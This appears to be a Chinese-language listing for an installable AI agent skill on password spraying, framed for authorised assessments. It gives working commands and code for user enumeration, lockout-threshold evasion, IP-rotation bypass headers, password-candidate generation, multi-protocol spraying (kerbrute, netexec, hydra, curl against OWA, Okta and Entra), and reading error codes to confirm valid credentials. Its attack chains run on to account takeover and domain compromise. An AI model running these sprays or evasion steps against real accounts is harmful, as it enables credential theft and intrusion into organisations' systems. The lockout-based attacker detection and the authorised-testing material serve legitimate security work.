关于 password-spray-methodology
面向授权安全评估的方法技能,整理了跨协议密码喷洒流程。内容涵盖用户枚举、锁定与限速检查、候选密码选择、执行及认证响应解读。
主要功能
- 01跨协议密码喷洒流程
- 02用户枚举方法
- 03账户锁定与限速评估
- 04密码模式生成
- 05认证响应解读
- 06评估过程日志指南
适用场景
- 01使用授权用户列表评估登录门户
- 02在范围内服务验证提供的凭据
- 03区分有效凭据与被阻止的登录
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill password-spray-methodology安装后在 Claude Code 中输入/password-spray-methodology确认已加载。
详细介绍
密码喷洒方法论
密码喷洒是投资回报率最高的凭据攻击:用一个(或少数几个)密码尝试登录多个用户。它不易被察觉、可避免账户锁定,并能在传统暴力破解失败时奏效。本技能整合了整个技能目录中的所有喷洒途径、枚举技术、模式和协议。
这是一项方法论技能。 协议专属的详情请参阅相应技能,了解深入内容。本技能涵盖适用于所有场景的通用喷洒流程。
适用场景
- 使用用户列表但没有凭据,开始任何测试时
- 查找面向互联网的登录门户(OWA、Okta、ADFS、VPN、SSO、OIDC)
hunt-ntlm-info揭示 AD 域名/UPN 格式后——将其用于喷洒hunt-ldap枚举出 sAMAccountNames 后——将其用于喷洒js-secrets-extraction找到电子邮件模式后——将其用于喷洒- OneDrive 302/404 枚举(来自
m365-entra-attack)确认已获许可的用户——对这些用户进行喷洒 - 客户提供任何泄露的凭据转储——在所有服务上验证
- 通过 Smart Lockout 差异检测活动攻击者
通用喷洒流程(5 个阶段)
Phase 1: ENUMERATE USERS → valid user list
Phase 2: DETECT LOCKOUT → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS → error code differential → finding or discard
阶段 1 — 用户枚举
喷洒效果取决于用户列表的质量。在接触任何身份验证端点之前,先收集用户名。
通用枚举来源
| 来源 | 技术 | 锁定风险 | 技能参考 |
|---|---|---|---|
| LinkedIn/公司主页 | 抓取员工姓名 → username-anarchy | 零 | — |
| OneDrive 个人站点 | GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=存在,404=不存在 | 零 | m365-entra-attack |
| Kerberos 预身份验证 | kerbrute userenum --dc <DC> --domain <DOMAIN> users.txt | 零(KDC_ERR_PREAUTH_REQUIRED 不计为身份验证失败) | — |
| NTLM Type-2 解码 | 从匿名探测中提取 AD 域、NetBIOS 名称和计算机名称 | 零 | hunt-ntlm-info |
| Jira 用户选择器 | /rest/api/2/user/picker?query= — 配置不当的实例中公开可用 | 零 | — |
| Jenkins | /asynchPeople/ 或 /securityRealm/user/<name>/ | 零 | — |
| ManageEngine ADManager Plus | 在暴露的实例上列出未经身份验证的用户 | 零 | — |
| WordPress REST API | /wp-json/wp/v2/users — 导出带用户名的作者列表 | 零 | hunt-wordpress |
| GitLab | /api/v4/users — 开放实例中公开可用 | 零 | — |
| O365 Autodiscover | 已加固——对所有请求均返回相同的 200(2024 年起) | 零,但已失效 | m365-entra-attack |
| GetUserRealm | 已加固——对租户中的任何电子邮件均返回相同的 XML | 零,但已失效 | m365-entra-attack |
用户名格式生成
抓取姓名后,生成所有符合组织习惯的格式:
# From a list of real names (First Last, one per line)
./username-anarchy -i names.txt > usernames.txt
# Common formats for enterprise targets:
# firstname.lastname, f.lastname, firstnamelastname, flastname
# firstname_lastname, lastname.firstname, firstname
# Also try: email prefix from known addresses (jdoe@ → jdoe)
CeWL — 提取目标专属词汇
cewl -d 3 -m 6 --lowercase https://target.com -w target_words.txt
# Feeds both username generation AND password patterns
阶段 2 — 锁定检测与限流计算
四种限流状态(来自 hunt-brute-force)
喷洒前,先将目标端点划分为以下四种状态之一:
| 状态 | 信号 | 是否可进行喷洒? |
|---|---|---|
| 硬锁定 | 失败 N 次后账户被禁用;正确凭据也会失败 | 否(应改为报告 DoS 发现) |
| 软 IP 限流 | 429 或按源 IP 递增的延迟 | 是——通过轮换 IP 绕过 |
| 插入 CAPTCHA | 返回 200,但尝试 N 次后响应正文切换为 CAPTCHA | 可能——检查 API 路径是否会跳过 |
| 静默影子限流 | 每次请求都返回 200/401,但提交内容被静默丢弃 | 陷阱——在已知位置注入已知有效值以检测 |
影子限流检测(关键——最容易造成漏报)
# Inject a known-good credential at position 500
# If it stops working under load, shadow-throttle is active
# Your "no rate limit" conclusion was false
KNOWN_GOOD="[email protected]:CorrectP@ss"
for n in $(seq 0 600); do
code=$(curl --max-time 30 --connect-timeout 10 -sk -u "user${n}@target.com:WrongP@ss" -o /dev/null -w "%{http_code}" \
"https://TARGET/auth-endpoint")
echo "$n $code $(wc -c </tmp/bf_body)"
done
# Watch: status flips, time_total climbing, body size changing
智能锁定机制的计算(Microsoft Entra ID — 来自 m365-entra-attack)
- 默认值:10 分钟内登录失败 10 次 → 锁定 1 分钟
- 所有身份验证流程共用计数器(ROPC + SAML + IMAP + EWS + SMTP + 设备代码)
- 数学保证:每位用户最多尝试 1 次时,无法触发智能锁定(1 < 10)
- 观察到任何 AADSTS50053 = 存在先前的外部攻击者 → SOC 调查发现
HARD_CAP = 1 # per user per engagement LIFETIME — never higher
Okta 锁定
- 默认值:登录失败 10 次(可配置,部分组织设为 3 次)
- 操作规范:每位用户整个测试期间最多尝试 2 次(比 Entra 的 1 次更宽松,因为 Okta 的锁定阈值可能是 3 次)
Exchange/OWA 速率限制测试
for i in $(seq 1 5); do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
-X POST "https://$TARGET/owa/auth.owa" \
-d "destination=https://$TARGET/owa/&[email protected]&password=WrongPass123!")
echo "Attempt $i: HTTP $code"
done
# All same code → no rate limiting on this endpoint
具体限流参考
| 协议 | 安全速率 | 来源 |
|---|---|---|
| M365 ROPC | 每秒最多 30 个请求,发送至 login.microsoftonline.com(每个 IP) | 已授权的测试 |
| M365 智能锁定 | 每位用户每次测试期间最多尝试 1 次 | 数学保证 |
| Okta /authn | 每位用户整个测试期间最多尝试 2 次;速度低于 Entra(防自动化机制的调节方式不同) | 已授权的测试 |
| Exchange OWA | 先快速测试 5 次;如果结果一致,则缓慢进行密码喷洒 | exchange-owa-attack |
| SharePoint SOAP | 在 SP2013 上未观察到速率限制;仍应放慢速度 | hunt-sharepoint |
| Kerberos(Kerbrute) | 预身份验证探测不会导致锁定风险;密码喷洒速度:每小时对完整用户列表尝试一个密码 | 公开研究 |
| IP 轮换绕过 | X-Forwarded-For、X-Real-IP、X-Originating-IP、CF-Connecting-IP、True-Client-IP | hunt-brute-force |
| NodeZero 参考值 | 生产环境中每小时尝试 2 次 | Horizon3.ai(2022) |
第 3 阶段 — 密码模式生成
复杂度策略适得其反(关键见解)
密码复杂度策略(大写字母 + 小写字母 + 数字 + 特殊字符)会让密码更容易预测,而不是更难。人们采用的模式总是相同的:首字母大写 + 小写单词 + 末尾数字 + 末尾感叹号 !。
对 RockYou、LinkedIn、MySpace、Stratfor、Singles.org、FaithWriters、phpBB 进行 PACK 分析后观察到的结果(Kacherginsky,2013):
:(不做转换) — 所有密码中有 2-25% 是直接使用的字典词$1(附加“1”) — 所有密码中有 0.5-5.5%$1 $2 $3— 0.1-0.6%$1 $2— 0.08-0.5%- 季节性:
Summer2024!、Winter2025!、Spring2026! - 公司相关:
<Brand>@2026、<Brand>@123、<City>@2026 - 默认轮换模式:
Password@<year>、Welcome@<year>、Admin@<year>
模式生成方案
# 1. Company-derived patterns
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "2023", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
passwords = []
for brand in brand_variants:
for year in years:
for spec in specials:
passwords.append(f"{brand}{year}{spec}")
passwords.append(f"{brand}@{year}")
for season in seasonal:
for year in years:
passwords.append(f"{season}{year}!")
passwords.append(f"{season}{year}")
# 2. Plant/office city names from company website
cities = ["SaoPaulo", "Rio", "BH", "Brasilia"]
for city in cities:
for year in years:
for spec in specials:
passwords.append(f"{city}{year}{spec}")
# 3. Functional account defaults
functional = ["noreply", "purchase", "accounts", "postmaster",
"transport", "admin", "helpdesk", "support", "info"]
for func in functional:
passwords.append(f"{func}@123")
passwords.append(f"{func}{year}")
密码字典策略
| 阶段 | 密码字典 | 适用时机 |
|---|---|---|
| 1. 泄露的凭据 | 客户提供的数据转储、窃密日志 | 始终优先 — 对该用户而言,每条记录都是最有力的猜测 |
| 2. 公司专属 | CeWL 输出 + 品牌模式(第 3 阶段方案) | 每次测试 |
| 3. Probable-Wordlists | berzerk0 按频率排序列表中的前 100 个词 | 公司模式无效时 |
| 4. rockyou.txt 前 N 项 | 筛选出符合目标策略且长度不少于 8 个字符的项 | 备用方案 |
| 避免使用 | RockYou2024 | 98% 是无用内容(哈希、截断字符串、Unicode 垃圾字符、俄文文本)——没有实际价值 |
| 自定义变体 | 对公司专属列表应用 Hashcat 规则 | 深入测试 |
# Generate mutated list with common rules
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule target_words.txt | sort -u > mutated.txt
阶段 4 — 喷洒执行矩阵
| 协议 | 端点 | 喷洒命令 | 速率限制 | 技能参考 |
|---|---|---|---|---|
| M365 ROPC | login.microsoftonline.com/common/oauth2/token | 使用状态文件的 Python attempt() | ≤1/用户/生命周期 | m365-entra-attack |
| Okta | <tenant>.okta.com/api/v1/authn | curl POST {"username":"...","password":"..."} | ≤2/用户/生命周期 | okta-attack |
| Exchange OWA | /owa/auth.owa(POST),/ews/Exchange.asmx(Basic) | curl HTTP POST 或 Basic Auth | 先快速测试 5 次 | exchange-owa-attack |
| Kerberos (AD) | KDC(TCP 88) | kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>' | 喷洒不会导致锁定 | — |
| SMB / WinRM | TCP 445 / 5985 | netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-success | 按服务分别限制 | — |
| SharePoint SOAP | /_vti_bin/Authentication.asmx | POST SOAP Login 信封 | SP2013 场中无速率限制 | hunt-sharepoint |
| WordPress XMLRPC | /xmlrpc.php | system.multicall 批次可在 1 个请求中尝试数百次 | 未观察到限制 | hunt-auth-bypass |
| OIDC 密码授权 | /oauth2/token(自定义租户) | 使用 client_id 的 grant_type=password | 取决于 IdP | — |
| Citrix NetScaler | /vpn/index.html,/cgi/login | POST 表单凭据 | 按实例分别限制 | — |
| F5 BIG-IP | /tmui/login.jsp | POST 表单凭据 | 按实例分别限制 | — |
| Atlassian | /rest/auth/1/session(Basic) | curl -u | 许多实例没有速率限制 | — |
| Jenkins | /jnlpJars/jenkins-cli.jar,/script | curl POST | 按实例分别限制 | — |
Kerbrute — 喷洒 AD 凭据而不触发锁定
# Enumerate first (zero lockout risk)
./kerbrute_linux_amd64 userenum \
--dc 10.10.10.5 \
--domain corp.local \
usernames.txt
# Then spray — one password at a time across ALL valid users
./kerbrute_linux_amd64 passwordspray \
--dc 10.10.10.5 \
--domain corp.local \
valid_users.txt 'Summer2026!'
NetExec — 多协议喷洒
# Spray SMB across subnet
netexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success
# Spray WinRM
netexec winrm 10.10.10.0/24 -u users.txt -p passwords.txt
# Spray MSSQL
netexec mssql 10.10.10.0/24 -u users.txt -p passwords.txt
# Single credential validation
netexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!'
# [+] = valid auth | (Pwn3d!) = local admin on that machine
Burp Intruder — OWA 喷洒
# POST request to /owa/auth.owa
# Sniper mode: variable on username field
# Fixed password field = common candidate
# Track timestamp between launches to avoid re-spraying same password
阶段 5 — 错误代码差异
“密码错误”和“密码正确但被阻止”之间的区别至关重要。即使没有令牌,后一种情况也是已确认的发现。
AADSTS 代码(M365/Entra — 来自 m365-entra-attack)
| 代码 | 含义 | 密码有效? | 操作 |
|---|---|---|---|
| AADSTS50034 | 用户不存在 | N/A | 从列表中移除 |
| AADSTS50126 | 密码无效 | ❌ | 用户存在 — 在上限内重试 |
| AADSTS50053 | 帐户已锁定(Smart Lockout) | 未知 | 事先存在 → SOC 发现 |
| AADSTS53003 | CA 阻止令牌签发 | ✅ 是 | 停止 — 凭据有效 |
| AADSTS50076 | 需要 MFA | ✅ 是 | 有效 — 需要第二因素 |
| AADSTS50079 | 需要强身份验证 | ✅ 是 | 有效 |
| AADSTS50158 | 需要外部身份验证 | ✅ 是 | 有效 |
| AADSTS530003 | 需要设备状态 | ✅ 是 | 有效 |
严重陷阱 — ROPC 子字符串误报:
当 CA 要求 MFA 时,错误正文会包含 "claims":{"access_token":{"capolids":...}}。宽泛的子字符串检查 if "access_token" in raw_body 会将每次被 MFA 阻止的尝试都误报为成功。务必解析 JSON,然后检查 if "access_token" in parsed_dict。
Okta 代码(来自 okta-attack)
| 响应 | 含义 | 密码有效? |
|---|---|---|
200 status=MFA_REQUIRED | 等待 MFA 挑战 | ✅ 是 |
200 status=SUCCESS + sessionToken | 完整身份验证(无 MFA) | ✅ 是 |
200 status=PASSWORD_EXPIRED | 必须更改密码 | ✅ 是 |
200 status=LOCKED_OUT | 帐户已锁定 | 未知 |
401 E0000004 | 身份验证失败(用户不存在或密码错误 — Okta 将两者统一处理) | ❌ |
401 E0000119 | 用户已锁定 | 未知 |
429 | 触发速率限制 | — |
Exchange OWA 代码
| 状态 | 含义 |
|---|---|
302 + Location 指向 /owa/ | ✅ 有效 — 已通过身份验证 |
| 200,且显示相同的登录页面 | ❌ 无效 |
| 连续快速尝试 5 次,HTTP 代码始终一致 | 无速率限制 — 可进行喷洒 |
参与行动规范
### 必须执行
- 使用原子写入的状态文件:按用户记录尝试计数(JSON)
- 交互日志:记录每次尝试的 JSONL 日志(时间戳、邮箱、密码前 4 个字符、状态、AADSTS 代码)
- IP 轮换日志:按天记录:日期、src-ip、ISP-AS、operator-handle、轮次
- 测试所有租户:关联域名通常有各自独立的 Entra 租户,密码策略也各不相同
- 紧急停止开关:如果 LOCKED 计数超过阈值,则停止运行(这表明可能存在先前的攻击者,或计数有误)
- 优先使用泄露的凭据:每个凭据针对该用户最可能的密码进行 1 次计数尝试
反模式(请勿执行)
- 请勿将泄露的凭据用于多个资源——当 CA 阻止访问时,这只会浪费尝试次数,不会带来任何额外收益
- 请勿在收到 AADSTS50053 后重试——账户已锁定
- 请勿持续以每秒超过 30 次请求的速率向 login.microsoftonline.com 发送请求——IP 会因凭据填充而被标记
- 请勿在 Okta 上使用 Entra 风格的喷洒速率——其反自动化机制的调优方式不同
- 请勿撤回 CA 阻止的发现——AADSTS53003/50076/50079 表示密码正确
- 请勿跳过用户枚举——在没有已知有效用户名的情况下进行喷洒,只会产生盲目噪声
- 请勿使用 RockYou2024——其中 98% 都是垃圾内容(哈希、截断字符串、Unicode 垃圾)
- 请勿在整个测试期间对同一用户进行超过 HARD_CAP 次喷洒
- 请勿将
*.oktapreview.com与生产环境混淆——预览环境不是生产环境,严重性也不同
活跃攻击者检测(影响最大的副产品)
Smart Lockout 的数学保证(1 < 10)也可用于检测活跃攻击者:
- 限制:每个用户尝试 1 次
- 在多个用户上观察到 AADSTS50053(LOCKED)
- 这些锁定不是由你造成的(1 < 10,在数学上不可能由你造成)
- 外部攻击者此刻正在主动对该租户进行喷洒
- 按字母顺序对已锁定用户进行聚类 → 聚类意味着攻击者正在使用排序后的用户名列表
- 对比喷洒开始与结束时的锁定计数 → 新增锁定表示攻击者在你的会话期间仍在活动
- 将已锁定邮箱列表记录为可供 SOC 采取行动的发现
攻击链表
| 攻击链 | 起点 | 终点 | 影响 |
|---|---|---|---|
| 用户枚举 → 喷洒 → 有效凭据 | hunt-ntlm-info | 此技能 | ATO |
| 喷洒获得的凭据 → 邮箱访问 | 此技能 | m365-entra-attack | 数据外泄 |
| 喷洒 → MFA 挑战 → 绕过 | 此技能 | hunt-mfa-bypass | 完全控制账户(ATO) |
| 喷洒 → 有效凭据 → 横向移动 | 此技能 | NetExec/impacket | 域失陷 |
| 喷洒 → 锁定观察 → SOC 告警 | 此技能 | mid-engagement-ir-detection | 事件响应(IR)发现 |
| 喷洒 → SharePoint SOAP 凭据 → FedAuth → 已验证身份的攻击面 | 此技能 | hunt-sharepoint | SharePoint 访问 |
| LDAP 枚举 → sAMAccountName 列表 → AD 喷洒 | hunt-ldap | 此技能(Kerbrute) | 大规模账户失陷(ATO) |
工具摘要
| 工具 | 用途 | 命令 |
|---|---|---|
| Kerbrute | AD 用户枚举 + 喷洒(不会触发锁定) | kerbrute userenum/passwordspray |
| NetExec (nxc) | 多协议喷洒(SMB、WinRM、MSSQL、RDP) | netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt |
| Burp Intruder | HTTP POST 喷洒(OWA、自定义门户) | 狙击手模式,用户名可变,密码固定 |
| CeWL | 针对目标生成词表 | cewl -d 3 -m 6 --lowercase https://target.com -w words.txt |
| username-anarchy | 根据真实姓名生成用户名格式 | ./username-anarchy -i names.txt > usernames.txt |
| Hashcat | 密码规则生成(PACK)+ 词表变异 | hashcat --stdout -r rules/best64.rule words.txt |
| curl | 手动喷洒探测、锁定测试 | curl --max-time 30 --connect-timeout 10 -sk -u "user:pass" https://TARGET/endpoint |
| Python | 使用状态文件和 JSON 解析的自定义喷洒脚本 | ROPC 模板请参阅 m365-entra-attack |
| MailSniper | 入侵后从 OWA 提取 GAL | 首次获得有效凭据后扩充喷洒列表 |
| hydra | HTTP 表单喷洒(旧版——优先使用 Burp Intruder) | hydra -L users.txt -P passwords.txt http-post-form |
---
验证
- 喷洒工具可用性 — 确认喷洒工具:
which crackmapexec 2>/dev/null && echo "PASS: crackmapexec installed" || echo "NOTE: crackmapexec not installed" pip3 show o365spray 2>/dev/null | grep -q "Name:" && echo "PASS: o365spray installed" || echo "NOTE: o365spray not installed"
所有测试均验证密码喷洒准备情况。
注意事项
- 不了解锁定策略就进行喷洒 — Entra ID Smart Lockout、Okta 锁定和本地 AD 锁定的工作方式各不相同。喷洒前先了解阈值。
- 只使用一个密码进行喷洒 — 只喷洒“Password123”几乎毫无用处。针对每个组织,使用包含 2-4 个高概率密码的列表。
- 未先枚举用户就进行喷洒 — 喷洒前验证用户名可以减少噪声和锁定风险。务必先进行枚举。
- 基于时序验证账户 — 密码喷洒的时序差异可以确认有效账户。使用 n>=10 个样本仔细测量。
- OAuth/Modern Auth 喷洒 — 现代身份验证端点(OAuth2 令牌端点)的锁定行为与旧版端点不同。两种路径都要测试。
相关技能
m365-entra-attack— M365 专用 ROPC 验证、AADSTS 代码参考、OneDrive 用户枚举、Smart Lockout 计算、租户发现okta-attack— Okta 专用喷洒端点、错误代码、验证因子枚举、锁定规范exchange-owa-attack— OWA 速率限制测试、Basic Auth 喷洒、NTLM Type-2 域提取、政府机构命名模式hunt-brute-force— 四种速率限制状态、影子限流检测、IP 轮换绕过、OTP 暴力破解方法hunt-auth-bypass— 旧版协议矩阵(WordPress XMLRPC、Citrix、F5、Atlassian 喷洒端点)hunt-sharepoint— SharePoint SOAP Authentication.asmx 匿名凭据暴力破解(无速率限制)hunt-ldap— sAMAccountName 枚举 → 喷洒目标列表hunt-ntlm-info— NTLM Type-2 → UPN 格式 → 喷洒用凭据格式hunt-mfa-bypass— 喷洒 → MFA 挑战 → 绕过链mid-engagement-ir-detection— 通过 Smart Lockout 锁定差异检测活跃攻击者hunt-wordpress— REST API 用户枚举 → 喷洒目标列表